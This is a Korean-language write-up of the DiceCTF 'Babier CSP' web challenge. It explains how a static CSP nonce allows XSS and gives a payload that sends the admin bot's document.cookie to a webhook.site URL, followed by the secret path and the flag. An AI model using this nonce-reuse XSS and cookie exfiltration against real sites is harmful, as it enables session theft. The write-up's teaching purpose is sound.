////
Search
🚩

Babier CSP [107 points]

목차

문제 유형

CSP, XSS, Node.js 문제

문제 정보 확인

admin의 쿠키 값의 secret 값을 index.js 파일의 config.secret 값과 동일하게 설정하였다고 한다.
admin의 쿠키 값은 Admin Bot에서 확인이 가능할 듯 하다.
index.js 파일의 내용은 아래와 같다.
const express = require('express'); const crypto = require("crypto"); const config = require("./config.js"); const app = express() const port = process.env.port || 3000; const SECRET = config.secret; const NONCE = crypto.randomBytes(16).toString('base64'); const template = name => ` <html> ${name === '' ? '': `<h1>${name}</h1>`} <a href='#' id=elem>View Fruit</a> <script nonce=${NONCE}> elem.onclick = () => { location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]); } </script> </html> `; app.get('/', (req, res) => { res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`); res.send(template(req.query.name || "")); }) app.use('/' + SECRET, express.static(__dirname + "/secret")); app.listen(port, () => { console.log(`Example app listening at http://localhost:${port}`) })
JavaScript
index.js 에서 얻을 수 있는 정보
const SECRET = config.secret;
app.use('/' + SECRET, express.static(__dirname + "/secret"));
이전 문제 설명에서 확인한 config.secret 값이 SECRET 변수에 저장되어 특정 페이지 이름으로 사용되는 것을 확인할 수 있다.
즉 관리자의 쿠키 값을 얻어 비밀 페이지로 이동해야 단서를 얻을 수 있다.
const NONCE = crypto.randomBytes(16).toString('base64');
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
랜덤한 값을 NONCE 변수 값에 저장하여 CSP의 nonce 옵션을 사용한다.

1. XSS 동작

처음 babier-csp.dicec.tf 접속 시, View Fruit 링크가 보이며 클릭 시 랜덤한 4가지 과일 이름들 중 하나가 나타난다.
... <script nonce=${NONCE}> elem.onclick = () => { location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]); } </script> ...
JavaScript
name 파라미터 값이 그대로 화면에 출력하는 것을 확인하였고, 이를 이용해 XSS가 가능한지 확인해 보았다.
하지만 index.js에 작성된대로 CSP 정책이 설정되어 있기 때문에 nonce 값을 설정해야 스크립트를 사용할 수 있다.
F12를 이용하여 현재 설정되어 있는 nonce 값을 확인할 수 있다.
XSS 구문을 CSP 정책에 맞게 다시 작성한 후 XSS가 정상적으로 동작한 것을 확인할 수 있다.
<script>alert(1)</script><script nonce=g+ojjmb9xLfE+3j9PsP/Ig==>alert(1)</script>
XSS 구문을 한번 인코딩 한 후 name 파라미터 값으로 넣어주어야 한다.

2. 관리자의 쿠키 값 획득

앞서 1. XSS 동작을 통해 XSS를 동작 할 수 있었다. 이를 이용해서 비밀페이지 주소를 얻기 위해 관리자 쿠키 값을 얻어야 한다.
특정 파라미터 값에 document.cookie값을 설정하여 쿠키 값을 얻어올 것이다. 그러기 위해선 개인적으로 서버를 만들어도 좋지만, 귀찮다면 webhook이라는 사이트를 이용해도 좋다.
//FLAG 파라미터 값에 쿠키 값 설정 <script nonce=g+ojjmb9xLfE+3j9PsP/Ig==>document.location="https://webhook.site/b4f4608e-aa5d-4837-a8e5-88dfb037c8eb/?FLAG="+document.cookie;</script>
JavaScript
PAYLOAD를 작성하였고 문제를 잘 확인해보면, 우리는 admin의 쿠키 값을 얻어야 한다.
즉, 과일이름이 나오는 현재 사이트가 아닌 처음에 확인한 Admin Bot 사이트에서 쿠키 값을 얻어야 한다.
Admin Bot 페이지에 접속하면 URL을 입력할 수 있는 부분과 Submit 이라는 버튼이 존재한다.
특정 URL을 입력하면 Admin Bot이 해당 주소로 접근하는 방식으로 추정된다.
URL 작성 부분에 이전에 작성한 PAYLOAD를 동작시킬 수 있는 babier-csp.dicec.tf 주소를 입력한다.
// https://babier-csp.dicec.tf/?name= + PAYLOAD URL ENCODING 형태 https://babier-csp.dicec.tf/?name=%3Cscript%20nonce%3Dg%2Bojjmb9xLfE%2B3j9PsP%2FIg%3D%3D%3Edocument.location%3D%22https%3A%2F%2Fwebhook.site%2Fb4f4608e-aa5d-4837-a8e5-88dfb037c8eb%2F%3FFLAG%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
Plain Text
정상적으로 PAYLOAD가 동작하면 webhook 페이지에서 Admin Bot의 요청을 확인할 수 있으며, secret 값도 확인할 수 있다.
secret 값을 이용하여 아래 주소로 이동하면 비밀 페이지에 접속 할 수 있고, 소스코드를 확인하면 FLAG를 확인할 수 있다.
https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745
Plain Text
FLAG
dice{web_1s_a_stat3_0f_grac3_857720}